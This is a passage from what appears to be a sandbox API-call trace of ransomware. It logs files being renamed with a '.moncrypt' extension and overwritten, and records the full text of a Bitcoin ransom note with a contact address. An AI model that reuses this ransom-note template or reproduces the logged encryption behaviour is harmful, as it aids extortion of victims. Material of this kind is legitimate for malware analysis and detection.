lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.879] GlobalUnlock (hMem=0x44000c) returned 0 [0053.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.880] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.880] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.880] GlobalUnlock (hMem=0x44000c) returned 0 [0053.880] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.880] GlobalUnlock (hMem=0x440004) returned 0 [0053.880] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.880] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0053.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 71 [0053.880] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.880] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.881] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.881] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.881] GlobalUnlock (hMem=0x440004) returned 0 [0053.881] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.881] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.881] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.881] GlobalUnlock (hMem=0x440004) returned 0 [0053.881] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.881] GlobalUnlock (hMem=0x44000c) returned 0 [0053.881] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.881] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0053.882] CloseHandle (hObject=0x18c) returned 1 [0053.882] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\я")) returned 1 [0053.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 0x54e240 [0053.883] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.883] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.883] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", dwFileAttributes=0x20) returned 1 [0053.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.moncrypt")) returned 1 [0053.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.909] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.909] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1413d [0053.909] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.909] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.924] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.924] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.924] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.924] GlobalUnlock (hMem=0x440004) returned 0 [0053.924] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.924] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.924] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.924] GlobalUnlock (hMem=0x440004) returned 0 [0053.924] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.924] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.924] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.924] GlobalUnlock (hMem=0x44000c) returned 0 [0053.924] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.924] GlobalUnlock (hMem=0x440004) returned 0 [0053.924] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.924] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.924] GlobalUnlock (hMem=0x440004) returned 0 [0053.924] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.924] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.925] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.925] GlobalUnlock (hMem=0x440004) returned 0 [0053.925] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.928] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.928] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.928] SetFilePointer (in: hFile=0x18c, lDistanceToMove=82237, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1413d [0053.928] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.928] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.928] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.939] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.940] CloseHandle (hObject=0x18c) returned 1 [0053.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.941] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.941] CloseHandle (hObject=0x18c) returned 1 [0053.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0053.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.942] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.942] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.942] GlobalUnlock (hMem=0x440004) returned 0 [0053.942] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.942] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.942] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.942] GlobalUnlock (hMem=0x440004) returned 0 [0053.942] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.942] GlobalUnlock (hMem=0x44000c) returned 0 [0053.942] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a4f8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0053.943] GetLastError () returned 0x2 [0053.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.944] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0053.945] CloseHandle (hObject=0x18c) returned 1 [0053.945] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0053.945] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.945] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.946] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.946] GlobalUnlock (hMem=0x44000c) returned 0 [0053.946] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.946] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.946] GlobalUnlock (hMem=0x44000c) returned 0 [0053.946] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.946] GlobalUnlock (hMem=0x440004) returned 0 [0053.946] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.946] CharLowerBuffW (in: lpsz="SKY.INF", cchLength=0x7 | out: lpsz="sky.inf") returned 0x7 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpUsedDefaultChar=0x0) returned 67 [0053.946] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0053.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SKY\\SKY.INF", lpUsedDefaultChar=0x0) returned 4 [0053.947] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.947] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.947] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.947] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.947] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.947] GlobalUnlock (hMem=0x440004) returned 0 [0053.947] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.947] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.947] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.947] GlobalUnlock (hMem=0x440004) returned 0 [0053.947] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.947] GlobalUnlock (hMem=0x44000c) returned 0 [0053.947] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.947] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0053.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, 